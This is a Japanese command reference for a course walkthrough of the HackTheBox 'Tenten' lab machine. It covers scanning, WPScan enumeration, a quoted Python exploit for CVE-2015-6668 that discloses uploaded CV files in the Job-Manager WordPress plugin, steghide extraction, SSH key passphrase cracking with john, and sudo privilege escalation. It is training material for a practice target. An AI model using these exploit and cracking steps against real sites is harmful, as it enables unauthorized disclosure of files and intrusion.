

レッドチーム演習：HackTheBox：Tenten

「レッドチーム演習：HackTheBox：Tenten」セクションに関する コマンド & リファレンス です。 コマンドはセクションのレクチャー順に紹介してあります。 既出コマンドは「由来」、「用途」の説明が省略されている場合があります。

HackTheBox

- Tenten, <https://app.hackthebox.eu/machines/8>

スキャンニング

nmap

由来：Network Mapper 用途：ネットワーク探索とセキュリティ監査を行う

コマンド構文

使用例：nmap コマンドによるポートスキャンを実行します。オプションの意図は次のとおり。

- -Pnオプション pingをしない
- -T4オプション 高速実行の指定
- -Aオプション バージョン検出を指定

```
$ nmap -Pn -T4 -A -oN report_tenten tenten.htb
```

cat

由来:conCATenate(つなぐ、連結する) 用途:ファイルの内容を表示する

コマンド構文

使用例:report_tenten ファイルの内容を表示させます。

```
$ cat report_tenten | more
```

WPScanによる脆弱性診断

wpscan

由来:WordPress Scanner 用途:WordPress に関するセキュリティ監査を行う

コマンド構文

使用例:WordPress に対する脆弱性診断を行います。

1. 脆弱なプラグイン
2. 脆弱なテーマ
3. Timthumb 画像サムネイルに関する脆弱性
4. ログインユーザーのIDと表示名

```
$ wpscan --api-token $WPVULNDB_API_TOKEN --url http://tenten.htb --  
enumerate vp,vt,tt,u --plugins-detection mixed
```

脆弱性の検証 - シェルスクリプト

for

用途：ループに使用される値のリストと、値リストの各要素がループ毎に設定される変数を指定する。

```
for 変数 in 値リスト
do
    処理
done
```

コマンド構文

使用例：apply パラメータの値を 1から30 まで1ステップ毎に変化させ、結果の表示を行います。

```
$ for i in $(seq 1 30); do echo -n "$i: "; curl -s
http://tenten.htb/index.php/jobs/apply/$i/ | grep "entry-title" | cut
-d '<' -f2 | cut -d '>' -f2; done
```

job-managerプラグインのExploitコード

「Vag Mour {Labs}」掲載の Exploit コード

```
import requests

print """
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
"""

website = raw_input('Enter a vulnerable website: ')
filename = raw_input('Enter a file name: ')

filename2 = filename.replace(" ", "-")
```

```
for year in range(2013,2016):
    for i in range(1,13):
        for extension in {'doc','pdf','docx'}:
            URL = website + "/wp-content/uploads/" + str(year) + "/"
+ "{:02}".format(i) + "/" + filename2 + "." + extension
            req = requests.get(URL)
            if req.status_code==200:
                print "[+] URL of CV found! " + URL
```

画像を用いたステガノグラフィ

steghide

用途：別のファイルの最下位ビット中にデータファイルのビットを隠すステガノグラフィプログラム

コマンド構文

使用例:指定ファイル（HackerAccessGranted.jpg）の情報表示を行います。

```
$ steghide info HackerAccessGranted.jpg
```

使用例：指定ファイル（HackerAccessGranted.jpg）から隠しファイルの抽出を行います。

```
$ steghide extract -sf HackerAccessGranted.jpg
```

SSH秘密鍵のパスフレーズ解析

ssh2john.py

用途：[RSA/DSA/EC/OPENSSH] プライベートキーを John the Ripper 形式に変換する。

コマンド構文

使用例：RSA プライベートキー（id_rsa）を John the Ripper 形式に変換を行います。

```
$ /usr/share/john/ssh2john.py id_rsa > id_rsa.john
```

john

由来:John The Ripper (正体不明の連続殺人犯) 用途:パスワード解析ツール

コマンド構文

使用例：パスワード辞書ファイルに rockyou.txt を指定し id_rsa.john ファイルを解析します。

```
$ john --wordlist=rockyou.txt id_rsa.john
```

SSH接続の確立

ssh

由来:Secure SHell 用途:リモートマシンにログインしてコマンドを実行する

コマンド構文

使用例：接続先 tenten.htb に対して、ユーザー名 takis 、秘密鍵 id_rsa ファイルを指定してログインします。

```
$ ssh -i id_rsa takis@tenten.htb
```

ルート権限への昇格

sudo

由来:superuser do / substitute user do 用途:root 権限でコマンドを実行する

コマンド構文

使用例:sudo を実行するユーザーに許可されているコマンドを一覧表示します。

```
$ sudo -l
```

使用例：sudo コマンドで root を指定し、whoami コマンドを実行します。

```
$ sudo -u root /bin/fuckin whoami
```

セクション 参考資料

WPScanによる脆弱性診断

- WPScan: WordPress Security, <https://wpscan.com/>
- WPScan - GitHub, <https://github.com/wpscanteam/wpscan>
- wpscan | Kali Linux Tools, <https://www.kali.org/tools/wpscan/>

脆弱性の検証 - シェルスクリプト

- Shell Scripting Tutorial, <https://www.shellscript.sh/>

job-managerプラグインのExploitコード

- [CVE-2015-6668] CV filename disclosure on Job-Manager WP plugin | Vag Mour {Labs}, <https://web.archive.org/web/20160601114653/https://vagmour.eu/cve-2015-6668-cv-filename-disclosure-on-job-manager-wordpress-plugin/> ※ サイト閉鎖のため、Internet Archive “Wayback Machine” のリンクを掲載

画像を用いたステガノグラフィ

- Steghide, <http://steghide.sourceforge.net/>
- steghide | Kali Linux Tools, <https://www.kali.org/tools/steghide/>

SSH秘密鍵のパスフレーズ解析

- john | Kali Linux Tools, <https://www.kali.org/tools/john/>

ルート権限への昇格

- T1543: Create or Modify System Process | MITRE ATT&CK, <https://attack.mitre.org/techniques/T1543/>